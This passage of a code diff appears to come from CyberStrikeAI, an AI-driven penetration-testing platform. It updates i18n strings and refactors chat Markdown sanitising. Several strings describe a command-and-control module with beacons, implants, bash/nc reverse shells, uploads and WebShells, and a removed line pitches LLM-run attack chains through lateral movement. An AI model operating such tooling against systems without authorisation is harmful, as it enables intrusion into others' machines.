     "toolRowAriaLabel": "{{name}}, {{total}} calls, {{rate}}% success rate. Click to filter records.",
@@ -1526,9 +1569,21 @@
     "rateWarning": "Some failures detected",
     "rateCritical": "High failure rate",
     "statsSubtitle": "Refreshed {{time}} · {{count}} tools",
+    "timelineTitle": "Call trend",
+    "timelineHint": "All tools combined (not split by tool)",
+    "timelineRange24h": "24h",
+    "timelineRange7d": "7d",
+    "timelineRange30d": "30d",
+    "timelineSummary": "{{total}} calls in range · peak {{peak}}",
+    "timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
+    "timelineNoData": "No calls in this period",
+    "timelineLoadError": "Failed to load call trend",
+    "timelineTotalLegend": "Total calls",
+    "timelineFailedLegend": "Failed",
+    "timelineTooltip": "{{time}}: {{total}} calls ({{failed}} failed)",
     "distTitle": "Call distribution",
     "distLegend": "Slice area shows share of all calls",
-    "distClickHint": "Click legend or slice to filter records",
+    "distClickHint": "Click a bar segment to filter records",
     "distHeaderHint": "{{n}} total calls",
     "distSegmentAria": "{{name}}, {{pct}}% of calls, {{calls}} times",
     "distOthersNoFilter": "Other tools cannot be filtered individually",
@@ -1758,6 +1813,12 @@
     "loadListFailed": "Failed to load",
     "noRecords": "No vulnerability records",
     "batchExport": "Batch export",
+    "batchDelete": "Batch delete",
+    "batchDeleteNoResults": "No vulnerabilities match the current filters to delete",
+    "batchDeleteConfirm": "Delete {{count}} vulnerability record(s) matching the current filters? This cannot be undone.",
+    "batchDeleteConfirmAll": "No filters are set. This will delete all {{count}} vulnerability record(s). This cannot be undone. Continue?",
+    "batchDeleteSuccess": "Successfully deleted {{count}} vulnerability record(s)",
+    "batchDeleteFailed": "Batch delete failed",
     "downloadMarkdownTitle": "Download Markdown",
     "exportNoResults": "No vulnerabilities match the current filters",
     "exportStarted": "Started downloading {{count}} file(s)",
@@ -1836,7 +1897,7 @@
     "descPlaceholder": "When the orchestrator should delegate to this agent",
     "fieldTools": "Tools (comma-separated; same keys as role tools)",
     "fieldBindRole": "Bind role (optional)",
-    "fieldMaxIter": "Max sub-agent iterations (0 = use global default)",
+    "fieldMaxIter": "Max iterations (0 = use Settings → agent.max_iterations)",
     "fieldInstruction": "System prompt (Markdown body)",
     "instructionPlaceholder": "You are a specialist agent...",
     "nameRequired": "Display name is required",
@@ -1974,8 +2035,6 @@
     "visionSkipPreprocessHint": "0 = always JPEG compress; must also fit long-edge and payload limits.",
     "visionDetail": "Image detail",
     "visionTimeout": "Timeout (seconds)",
-    "visionAllowedRoots": "Extra allowed path roots",
-    "visionAllowedRootsPlaceholder": "One absolute path per line, optional",
     "visionTestFillRequired": "Enter vision model and ensure API Key is available (or reuse OpenAI)",
     "testConnection": "Test Connection",
     "testFillRequired": "Please fill in API Key and Model first",
@@ -2224,6 +2283,9 @@
     "descriptionPlaceholder": "Short description",
     "descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
     "packageFiles": "Package files",
+    "packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
+    "folderHint": "Folder (not editable)",
+    "clickToEdit": "Click to edit this file",
     "editingFile": "Editing",
     "newFile": "New file",
     "newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
@@ -2493,14 +2555,6 @@
     "checkboxLinkTitle": "Check to link this tool to this role"
   },
   "c2": {
-    "title": "C2 Management",
-    "welcomeTitle": "AI-Native C2 Framework",
-    "welcomeDesc": "MCP-native design: let LLM call C2 like calling nmap to complete the full chain: initial access → control → tasks → lateral movement → cleanup",
-    "statListeners": "Running Listeners",
-    "statSessions": "Online Sessions",
-    "statPending": "Pending Tasks",
-    "goListeners": "Manage Listeners",
-    "goSessions": "View Sessions",
     "clipboardCopied": "Copied to clipboard",
     "fmt": {
       "durationMs": "{{n}}ms",
@@ -2510,6 +2564,15 @@
     "files": {
       "parent": "Parent",
       "refresh": "Refresh",
+      "upload": "Upload",
+      "uploading": "Uploading {{name}} · {{percent}}%",
+      "uploadOk": "Uploaded",
+      "uploadQueued": "Upload task queued",
+      "uploadPendingApproval": "Upload task pending HITL approval",
+      "uploadUnsupported": "Upload is not supported for this session",
+      "uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
+      "uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
+      "uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
       "loading": "Loading…",
       "timeout": "Timed out loading files",
       "emptyDir": "Empty directory",
@@ -2519,6 +2582,7 @@
       "colActions": "Actions",
       "open": "Open",
       "download": "Download",
+      "downloadOk": "Downloaded",
       "failed": "Failed"
     },
     "listeners": {
@@ -2635,7 +2699,7 @@
       "confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
       "toastExitSent": "Exit command sent",
       "toastSessionDeleted": "Session record deleted",
-      "terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
+      "terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
       "termStatusReady": "Ready",
       "termStatusExec": "Executing…",
       "termStatusErr": "Error",
@@ -2644,6 +2708,9 @@
       "termWaitTimeout": "[Timed out waiting for result]",
       "termCleared": "Terminal cleared",
       "termNoSelection": "No text selected",
+      "termWaitFinish": "Please wait for the current command to finish",
+      "termCtrlC": "Remote interrupt is not supported in this version",
+      "termQueued": "[Command queued — will run after the current task completes]",
       "clearTerminal": "Clear"
     },
     "tasks": {
@@ -2670,6 +2737,7 @@
       "colTask": "Task",
       "colSession": "Session",
       "colType": "Type",
+      "colCommand": "Command",
       "colStatus": "Status",
       "colDuration": "Duration",
       "colCreated": "Created",
@@ -2680,6 +2748,8 @@
       "labelId": "ID",
       "labelSession": "Session",
       "labelType": "Type",
+      "labelCommand": "Command",
+      "labelPayload": "Payload",
       "labelStatus": "Status",
       "labelCreated": "Created",
       "labelSent": "Sent",

web/static/i18n/zh-CN.json

@@ -79,7 +79,6 @@
     "settings": "系统设置",
     "hitl": "人机协同",
     "c2": "C2",
-    "c2Manage": "C2 管理",
     "c2Listeners": "监听器",
     "c2Sessions": "会话",
     "c2Tasks": "任务",
@@ -98,8 +97,13 @@
     "clickToViewTasks": "点击查看任务管理",
     "clickToViewVuln": "点击查看漏洞管理",
     "clickToViewMCP": "点击查看 MCP 监控",
+    "accessOverviewTitle": "接入概览",
+    "accessTabsAria": "C2 与 WebShell",
     "c2OverviewTitle": "C2 概览",
     "c2GoManage": "进入 C2 →",
+    "webshellGoManage": "进入 WebShell →",
+    "webshellConnections": "活跃连接",
+    "webshellClickConnections": "查看连接",
     "c2ListenersRunning": "运行中监听器",
     "c2SessionsOnline": "在线会话",
     "c2TasksPending": "待审 / 排队任务",
@@ -153,7 +157,13 @@
     "lastUpdated": "上次更新",
     "viewAll": "查看全部 →",
     "recentVulns": "最近漏洞",
+    "recentFacts": "近期事实",
     "noVulnYet": "暂无最近漏洞",
+    "noFactsYet": "暂无近期事实",
+    "noFactsDesc": "在绑定项目的对话中，Agent 会自动记录目标、漏洞、攻击链等事实",
+    "createFirstProjectBtn": "创建第一个项目",
+    "factProjectMeta": "{{project}} · {{key}}",
+    "factsAcrossProjects": "{{count}} 个活跃项目 · {{facts}} 条事实",
     "capabilities": "能力总览",
     "mcpTools": "MCP 工具",
     "rolesLabel": "角色",
@@ -219,6 +229,13 @@
     "newProjectCta": "+ 新建项目",
     "projectList": "项目列表",
     "searchProjectsPlaceholder": "搜索项目…",
+    "paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "共 {{total}} 条",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "每页",
+    "paginationPrev": "上一页",
+    "paginationNext": "下一页",
     "selectOrCreateTitle": "选择或创建项目",
     "selectOrCreateHint": "项目用于跨对话共享「事实黑板」：目标、环境、认证等信息会在绑定项目的对话中自动注入。",
     "createFirstProject": "创建第一个项目",
@@ -366,6 +383,7 @@
     "settingsIntroTitle": "项目设置",
     "settingsIntroHint": "配置项目元数据与 Agent 授权边界，保存后即时生效于绑定对话。",
     "pinProject": "置顶项目（列表优先显示）",
+    "pinFact": "置顶事实（列表与黑板索引优先）",
     "editDescriptionPlaceholder": "测试目标、授权范围、联系人、注意事项…",
     "scopeTitle": "测试范围",
     "scopeHint": "JSON 格式，供 Agent 理解授权边界与目标资产",
@@ -397,6 +415,13 @@
     "addGroup": "新建分组",
     "recentConversations": "最近对话",
     "batchManage": "批量管理",
+    "paginationShow": "显示 {{start}}-{{end}} / 共 {{total}}",
+    "paginationRange": "{{start}}-{{end}}/{{total}}",
+    "paginationTotal": "共 {{total}} 条",
+    "paginationPage": "{{page}}/{{total}}",
+    "paginationPerPage": "每页",
+    "paginationPrev": "上一页",
+    "paginationNext": "下一页",
     "attackChain": "攻击链",
     "viewAttackChain": "查看攻击链",
     "selectRole": "选择角色",
@@ -1488,9 +1513,15 @@
     "loading": "加载中...",
     "noStatsData": "暂无统计数据",
     "noExecutions": "暂无执行记录",
+    "emptyHint": "在对话或任务中调用 MCP 工具后，执行记录将显示在此处",
     "noRecordsWithFilter": "当前筛选条件下暂无记录",
     "paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
     "perPageLabel": "每页显示",
+    "firstPage": "首页",
+    "prevPage": "上一页",
+    "nextPage": "下一页",
+    "lastPage": "末页",
+    "pageInfo": "第 {{page}} / {{total}} 页",
     "loadStatsError": "无法加载统计信息",
     "loadExecutionsError": "无法加载执行记录",
     "totalCalls": "总调用次数",
@@ -1503,6 +1534,17 @@
     "unknownTool": "未知工具",
     "successFailedRate": "成功 {{success}} / 失败 {{failed}} · 成功率 {{rate}}%",
     "topToolsTitle": "工具调用 Top {{n}}",
+    "toolRankingTitle": "工具调用排行",
+    "toolStatsTitle": "工具统计",
+    "toolStatsHint": "点击色条或列表行筛选下方执行记录；悬停联动高亮",
+    "scopeCumulative": "累计",
+    "scopeTimeline": "趋势时段",
+    "filterActive": "已筛选：{{tool}}",
+    "kpiScopeNote": "累计统计（全时段）",
+    "columnCalls": "调用",
+    "columnShare": "占比",
+    "columnSuccessRate": "成功率",
+    "rankingSummary": "Top {{n}} 占 {{pct}}% · 共 {{total}} 次调用",
     "barVolumeLegend": "条长表示相对调用量，条内绿/红为成功/失败占比",
     "clickToFilterTool": "点击行筛选下方执行记录",
     "toolRowAriaLabel": "{{name}}，{{total}} 次调用，成功率 {{rate}}%，点击查看执行记录",
@@ -1515,9 +1557,21 @@
     "rateWarning": "存在失败调用",
     "rateCritical": "失败率偏高",
     "statsSubtitle": "最后刷新 {{time}} · 共 {{count}} 个工具",
+    "timelineTitle": "调用趋势",
+    "timelineHint": "全部工具合计，不按工具拆分",
+    "timelineRange24h": "24 小时",
+    "timelineRange7d": "7 天",
+    "timelineRange30d": "30 天",
+    "timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
+    "timelineSparseHint": "该时段多数时间为 0，峰值 {{peak}} 次出现在 {{peakTime}}",
+    "timelineNoData": "该时段暂无调用",
+    "timelineLoadError": "无法加载调用趋势",
+    "timelineTotalLegend": "总调用",
+    "timelineFailedLegend": "失败",
+    "timelineTooltip": "{{time}}：{{total}} 次（失败 {{failed}}）",
     "distTitle": "调用分布",
     "distLegend": "扇区面积为占全部调用比例",
-    "distClickHint": "点击图例或扇区筛选执行记录",
+    "distClickHint": "点击色条筛选执行记录",
     "distHeaderHint": "共 {{n}} 次调用",
     "distSegmentAria": "{{name}}，占 {{pct}}%，{{calls}} 次",
     "distOthersNoFilter": "其他工具无法单独筛选",
@@ -1747,6 +1801,12 @@
     "loadListFailed": "加载失败",
     "noRecords": "暂无漏洞记录",
     "batchExport": "批量导出",
+    "batchDelete": "批量删除",
+    "batchDeleteNoResults": "当前筛选条件下没有可删除的漏洞",
+    "batchDeleteConfirm": "确定要删除当前筛选条件下的 {{count}} 条漏洞吗？此操作不可恢复。",
+    "batchDeleteConfirmAll": "未设置筛选条件，将删除全部 {{count}} 条漏洞。此操作不可恢复，确定继续？",
+    "batchDeleteSuccess": "成功删除 {{count}} 条漏洞",
+    "batchDeleteFailed": "批量删除失败",
     "downloadMarkdownTitle": "下载 Markdown",
     "exportNoResults": "当前筛选条件下无可导出漏洞",
     "exportStarted": "已开始下载 {{count}} 份报告",
@@ -1825,7 +1885,7 @@
     "descPlaceholder": "何时由协调者调度该子代理",
     "fieldTools": "可用工具（逗号分隔，与角色工具 key 一致）",
     "fieldBindRole": "绑定角色（可选）",
-    "fieldMaxIter": "子代理最大迭代（0=使用全局默认）",
+    "fieldMaxIter": "最大迭代（0=沿用设置页 agent.max_iterations）",
     "fieldInstruction": "系统提示词（Markdown 正文）",
     "instructionPlaceholder": "You are a specialist agent...",
     "nameRequired": "请填写显示名称",
@@ -1963,8 +2023,6 @@
     "visionSkipPreprocessHint": "0 表示始终 JPEG 压缩；需同时满足长边与 payload 限制。",
     "visionDetail": "Image detail",
     "visionTimeout": "超时（秒）",
-    "visionAllowedRoots": "额外允许路径根目录",
-    "visionAllowedRootsPlaceholder": "每行一个绝对路径，可选",
     "visionTestFillRequired": "请填写视觉模型，并确保 API Key 可用（可复用 OpenAI）",
     "testConnection": "测试连接",
     "testFillRequired": "请先填写 API Key 和模型",
@@ -2213,6 +2271,9 @@
     "descriptionPlaceholder": "Skill的简短描述",
     "descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段（创建/编辑 SKILL.md 时使用）",
     "packageFiles": "包内文件",
+    "packageFilesHint": "点击文件进行编辑；文件夹仅作分组展示，不可点击",
+    "folderHint": "文件夹（不可编辑）",
+    "clickToEdit": "点击编辑此文件",
     "editingFile": "正在编辑",
     "newFile": "新建文件",
     "newFilePlaceholder": "新文件路径，如 FORMS.md 或 scripts/extra.sh",
@@ -2482,14 +2543,6 @@
     "checkboxLinkTitle": "勾选表示本角色关联使用该工具"
   },
   "c2": {
-    "title": "C2 管理",
-    "welcomeTitle": "AI-Native C2 框架",
-    "welcomeDesc": "以 MCP 工具为一等公民，让 LLM 可以像调用 nmap 一样调用 C2 完成「上线 → 控制 → 任务 → 横向 → 清场」全流程",
-    "statListeners": "运行中监听器",
-    "statSessions": "在线会话",
-    "statPending": "待审任务",
-    "goListeners": "管理监听器",
-    "goSessions": "查看会话",
     "clipboardCopied": "已复制到剪贴板",
     "fmt": {
       "durationMs": "{{n}}ms",
@@ -2499,6 +2552,15 @@
     "files": {
       "parent": "上级目录",
       "refresh": "刷新",
+      "upload": "上传",
+      "uploading": "正在上传 {{name}} · {{percent}}%",
+      "uploadOk": "上传成功",
+      "uploadQueued": "上传任务已入队",
+      "uploadPendingApproval": "上传任务待人机协同审批",
+      "uploadUnsupported": "当前会话不支持上传",
+      "uploadCurlBeacon": "Curl 轻量信标不支持文件上传，请使用 HTTP Beacon",
+      "uploadTcpShell": "当前为 TCP 反弹 Shell（bash/nc），仅支持命令与下载。上传请改用：① 同一监听器下编译 CSB1 Beacon，或 ② HTTP/HTTPS Beacon 重新上线。",
+      "uploadTcpReverse": "当前为 TCP 反弹 Shell（bash/nc），仅支持命令与下载。上传请改用：① 同一监听器下编译 CSB1 Beacon，或 ② HTTP/HTTPS Beacon 重新上线。",
       "loading": "加载中…",
       "timeout": "加载文件超时",
       "emptyDir": "空目录",
@@ -2508,6 +2570,7 @@
       "colActions": "操作",
       "open": "打开",
       "download": "下载",
+      "downloadOk": "下载成功",
       "failed": "失败"
     },
     "listeners": {
@@ -2624,7 +2687,7 @@
       "confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录？（不会向植入体发送退出；若需退出目标进程请使用「终止会话」。）",
       "toastExitSent": "退出指令已发送",
       "toastSessionDeleted": "会话记录已删除",
-      "terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
+      "terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行；↑↓ 历史；Ctrl+L 清屏；Ctrl+C 取消输入",
       "termStatusReady": "就绪",
       "termStatusExec": "执行中…",
       "termStatusErr": "错误",
@@ -2633,6 +2696,9 @@
       "termWaitTimeout": "[等待结果超时]",
       "termCleared": "终端已清屏",
       "termNoSelection": "未选中文本",
+      "termWaitFinish": "请等待当前命令执行完成",
+      "termCtrlC": "当前版本暂不支持中断远程命令",
+      "termQueued": "[命令已加入队列，将在当前任务完成后执行]",
       "clearTerminal": "清屏"
     },
     "tasks": {
@@ -2659,6 +2725,7 @@
       "colTask": "任务",
       "colSession": "会话",
       "colType": "类型",
+      "colCommand": "命令",
       "colStatus": "状态",
       "colDuration": "耗时",
       "colCreated": "创建时间",
@@ -2669,6 +2736,8 @@
       "labelId": "ID",
       "labelSession": "会话",
       "labelType": "类型",
+      "labelCommand": "命令",
+      "labelPayload": "参数",
       "labelStatus": "状态",
       "labelCreated": "创建时间",
       "labelSent": "发送时间",

web/static/js/auth.js

@@ -343,48 +343,13 @@ function escapeHtml(text) {
     return div.innerHTML;
 }
 
-function formatMarkdown(text) {
-    const sanitizeConfig = {
-        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
-        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
-        ALLOW_DATA_ATTR: false,
-    };
-
-    const raw = text == null ? '' : String(text);
-    const src = typeof window.normalizeAssistantMarkdownSource === 'function'
-        ? window.normalizeAssistantMarkdownSource(raw)
-        : raw;
-
-    if (typeof DOMPurify !== 'undefined') {
-        if (typeof marked !== 'undefined' && !/<[a-z][\s\S]*>/i.test(src)) {
-            try {
-                marked.setOptions({
-                    breaks: true,
-                    gfm: true,
-                });
-                const parsedContent = marked.parse(src, { async: false });
-                return DOMPurify.sanitize(parsedContent, sanitizeConfig);
-            } catch (e) {
-                console.error('Markdown 解析失败:', e);
-                return DOMPurify.sanitize(src, sanitizeConfig);
-            }
-        } else {
-            return DOMPurify.sanitize(src, sanitizeConfig);
-        }
-    } else if (typeof marked !== 'undefined') {
-        try {
-            marked.setOptions({
-                breaks: true,
-                gfm: true,
-            });
-            return marked.parse(src, { async: false });
-        } catch (e) {
-            console.error('Markdown 解析失败:', e);
-            return escapeHtml(src).replace(/\n/g, '<br>');
-        }
-    } else {
-        return escapeHtml(src).replace(/\n/g, '<br>');
+/** @param {string} text @param {{ profile?: 'chat'|'timeline' }} [options] */
+function formatMarkdown(text, options) {
+    if (typeof window.csMarkdownSanitize !== 'undefined') {
+        return window.csMarkdownSanitize.formatMarkdownToHtml(text, options);
     }
+    const raw = text == null ? '' : String(text);
+    return escapeHtml(raw).replace(/\n/g, '<br>');
 }
 
 function setupLoginUI() {

web/static/js/chat.js

@@ -423,10 +423,28 @@ if (typeof window !== 'undefined') {
     window.updateHitlStatusUI = updateHitlStatusUI;
 }
 
+function syncHitlSidebarAriaExpanded() {
+    var card = document.getElementById('hitl-sidebar-card');
+    var toggle = document.getElementById('hitl-sidebar-toggle');
+    if (!card || !toggle) return;
+    toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
+}
+
+function closeHitlSidebarCard() {
+    var card = document.getElementById('hitl-sidebar-card');
+    if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
+    card.classList.add('hitl-sidebar-collapsed');
+    syncHitlSidebarAriaExpanded();
+    try {
+        localStorage.setItem('hitl-sidebar-collapsed', '1');
+    } catch (e) {}
+}
+
 function toggleHitlSidebarCard() {
     var card = document.getElementById('hitl-sidebar-card');
     if (!card) return;
     card.classList.toggle('hitl-sidebar-collapsed');
+    syncHitlSidebarAriaExpanded();
     try {
         localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
     } catch (e) {}
@@ -438,6 +456,7 @@ document.addEventListener('DOMContentLoaded', function () {
     if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
         card.classList.remove('hitl-sidebar-collapsed');
     }
+    syncHitlSidebarAriaExpanded();
 });
 
 function getAgentModeLabelForValue(mode) {
@@ -1862,25 +1881,9 @@ function refreshSystemReadyMessageBubbles() {
         div.textContent = s;
         return div.innerHTML;
     };
-    const defaultSanitizeConfig = {
-        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
-        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
-        ALLOW_DATA_ATTR: false,
-    };
     let formattedContent;
-    if (typeof marked !== 'undefined') {
-        try {
-            marked.setOptions({ breaks: true, gfm: true });
-            const src = typeof window.normalizeAssistantMarkdownSource === 'function'
-                ? window.normalizeAssistantMarkdownSource(text)
-                : text;
-            const parsed = marked.parse(src, { async: false });
-            formattedContent = typeof DOMPurify !== 'undefined'
-                ? DOMPurify.sanitize(parsed, defaultSanitizeConfig)
-                : parsed;
-        } catch (e) {
-            formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
-        }
+    if (typeof window.csMarkdownSanitize !== 'undefined') {
+        formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(text, { profile: 'chat' });
     } else {
         formattedContent = escapeHtmlLocal(text).replace(/\n/g, '<br>');
     }
@@ -1936,13 +1939,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
     
     // 解析 Markdown 或 HTML 格式
     let formattedContent;
-    const defaultSanitizeConfig = {
-        ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 's', 'code', 'pre', 'blockquote', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td', 'hr'],
-        ALLOWED_ATTR: ['href', 'title', 'alt', 'src', 'class'],
-        ALLOW_DATA_ATTR: false,
-    };
-    
-    // HTML实体编码函数
     const escapeHtml = (text) => {
         if (!text) return '';
         const div = document.createElement('div');
@@ -1950,31 +1946,6 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
         return div.innerHTML;
     };
     
-    // 注意：代码块内容不需要转义，因为：
-    // 1. Markdown解析后，代码块会被包裹在<code>或<pre>标签中
-    // 2. 浏览器不会执行<code>和<pre>标签内的HTML（它们是文本节点）
-    // 3. DOMPurify会保留这些标签内的文本内容
-    // 这样既能防止XSS，又能正常显示代码
-    
-    const parseMarkdown = (raw) => {
-        if (typeof marked === 'undefined') {
-            return null;
-        }
-        try {
-            marked.setOptions({
-                breaks: true,
-                gfm: true,
-            });
-            const src = typeof window.normalizeAssistantMarkdownSource === 'function'
-                ? window.normalizeAssistantMarkdownSource(raw)
-                : raw;
-            return marked.parse(src, { async: false });
-        } catch (e) {
-            console.error('Markdown 解析失败:', e);
-            return null;
-        }
-    };
-    
     // 助手消息中的已知中文错误前缀做国际化替换（后端固定返回中文）
     let displayContent = content;
     if (role === 'assistant' && typeof displayContent === 'string' && typeof window.t === 'function') {
@@ -1989,57 +1960,11 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
     // 对于用户消息，直接转义HTML，不进行Markdown解析，以保留所有特殊字符
     if (role === 'user') {
         formattedContent = escapeHtml(content).replace(/\n/g, '<br>');
-    } else if (typeof DOMPurify !== 'undefined') {
-        // 直接解析Markdown（代码块会被包裹在<code>/<pre>中，DOMPurify会保留其文本内容）
-        let parsedContent = parseMarkdown(role === 'assistant' ? displayContent : content);
-        if (!parsedContent) {
-            parsedContent = content;
-        }
-        
-        // 使用DOMPurify清理，只添加必要的URL验证钩子（DOMPurify默认会处理事件处理器等）
-        if (DOMPurify.addHook) {
-            // 移除之前可能存在的钩子
-            try {
-                DOMPurify.removeHook('uponSanitizeAttribute');
-            } catch (e) {
-                // 钩子不存在，忽略
-            }
-            
-            // 只验证URL属性，防止危险协议（DOMPurify默认会处理事件处理器、style等）
-            DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
-                const attrName = data.attrName.toLowerCase();
-                
-                // 只验证URL属性（src, href）
-                if ((attrName === 'src' || attrName === 'href') && data.attrValue) {
-                    const value = data.attrValue.trim().toLowerCase();
-                    // 禁止危险协议
-                    if (value.startsWith('javascript:') || 
-                        value.startsWith('vbscript:') ||
-                        value.startsWith('data:text/html') ||
-                        value.startsWith('data:text/javascript')) {
-                        data.keepAttr = false;
-                        return;
-                    }
-                    // 对于img的src，禁止可疑的短URL（防止404和XSS）
-                    if (attrName === 'src' && node.tagName && node.tagName.toLowerCase() === 'img') {
-                        if (value.length <= 2 || /^[a-z]$/i.test(value)) {
-                            data.keepAttr = false;
-                            return;
-                        }
-                    }
-                }
-            });
-        }
-        
-        formattedContent = DOMPurify.sanitize(parsedContent, defaultSanitizeConfig);
-    } else if (typeof marked !== 'undefined') {
-        const rawForParse = role === 'assistant' ? displayContent : content;
-        const parsedContent = parseMarkdown(rawForParse);
-        if (parsedContent) {
-            formattedContent = parsedContent;
-        } else {
-            formattedContent = escapeHtml(rawForParse).replace(/\n/g, '<br>');
-        }
+    } else if (typeof window.csMarkdownSanitize !== 'undefined') {
+        formattedContent = window.csMarkdownSanitize.formatMarkdownToHtml(
+            role === 'assistant' ? displayContent : content,
+            { profile: 'chat' }
+        );
     } else {
         const rawForEscape = role === 'assistant' ? displayContent : content;
         formattedContent = escapeHtml(rawForEscape).replace(/\n/g, '<br>');
@@ -2047,21 +1972,9 @@ function addMessage(role, content, mcpExecutionIds = null, progressId = null, cr
     
     bubble.innerHTML = formattedContent;
     
-    // 最后的安全检查：只处理明显的可疑图片（防止404和XSS）
-    // DOMPurify已经处理了大部分XSS向量，这里只做必要的补充
-    const images = bubble.querySelectorAll('img');
-    images.forEach(img => {
-        const src = img.getAttribute('src');
-        if (src) {
-            const trimmedSrc = src.trim();
-            // 只检查明显的可疑URL（短字符串、单个字符）
-            if (trimmedSrc.length <= 2 || /^[a-z]$/i.test(trimmedSrc)) {
-                img.remove();
-            }
-        } else {
-            img.remove();
-        }
-    });
+    if (typeof window.csMarkdownSanitize !== 'undefined') {
+        window.csMarkdownSanitize.stripSuspiciousImages(bubble);
+    }
     
     // 为每个表格添加独立的滚动容器
     wrapTablesInBubble(bubble);
@@ -3026,6 +2939,8 @@ function createConversationListItem(conversation) {
 // 处理历史记录搜索
 let conversationSearchTimer = null;
 function handleConversationSearch(query) {
+    conversationsPagination.page = 1;
+    conversationsSearchQuery = query || '';
     // 防抖处理，避免频繁请求
     if (conversationSearchTimer) {
         clearTimeout(conversationSearchTimer);
@@ -3059,6 +2974,8 @@ function clearConversationSearch() {
         clearBtn.style.display = 'none';
     }
     
+    conversationsPagination.page = 1;
+    conversationsSearchQuery = '';
     loadConversations('');
 }
 
@@ -3495,6 +3412,21 @@ async function deleteConversation(conversationId, skipConfirm = false) {
         } else if (typeof loadConversations === 'function') {
             loadConversations();
         }
+
+        // 批量管理弹窗打开时，同步刷新弹窗内列表
+        const batchModal = document.getElementById('batch-manage-modal');
+        if (batchModal && batchModal.style.display === 'flex') {
+            allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
+            updateBatchManageTitle(allConversationsForBatch.length);
+            const searchInput = document.getElementById('batch-search-input');
+            const query = searchInput ? searchInput.value : '';
+            if (query && query.trim()) {
+                filterBatchConversations(query);
+            } else {
+                renderBatchConversations();
+            }
+        }
+
         // 通知其他模块（如 WebShell AI 助手）同步删除，保持列表一致
         try {
             document.dispatchEvent(new CustomEvent('conversation-deleted', { detail: { conversationId } }));
@@ -5695,6 +5627,168 @@ let groupsCache = [];
 let conversationGroupMappingCache = {};
 let pendingGroupMappings = {}; // 待保留的分组映射（用于处理后端API延迟的情况）
 let conversationsListLoadSeq = 0; // 对话列表加载序号，避免并发请求导致重复渲染
+const CONVERSATIONS_PAGE_SIZE_KEY = 'cyberstrike.conversations_page_size';
+
+function getConversationsPageSize() {
+    try {
+        const saved = parseInt(localStorage.getItem(CONVERSATIONS_PAGE_SIZE_KEY), 10);
+        if ([20, 50, 100].includes(saved)) return saved;
+    } catch (e) { /* ignore */ }
+    return 50;
+}
+
+let conversationsPagination = { page: 1, pageSize: getConversationsPageSize(), total: 0 };
+let conversationsSearchQuery = '';
+
+function parseListTotalValue(raw, itemsLength) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return itemsLength;
+}
+
+function parseListOffsetValue(raw) {
+    if (typeof raw === 'number' && Number.isFinite(raw) && raw >= 0) return raw;
+    if (raw != null && raw !== '') {
+        const n = parseInt(String(raw), 10);
+        if (Number.isFinite(n) && n >= 0) return n;
+    }
+    return 0;
+}
+
+function parseConversationsListResponse(data) {
+    if (Array.isArray(data)) {
+        return { items: data, total: data.length, limit: data.length, offset: 0, isLegacyArray: true };
+    }
+    const items = data.conversations || data.items || [];
+    const arr = Array.isArray(items) ? items : [];
+    return {
+        items: arr,
+        total: parseListTotalValue(data.total, arr.length),
+        limit: parseListTotalValue(data.limit, arr.length) || arr.length,
+        offset: parseListOffsetValue(data.offset),
+        isLegacyArray: false,
+    };
+}
+
+async function resolveConversationsListTotal(params, parsed, pageSize, offset) {
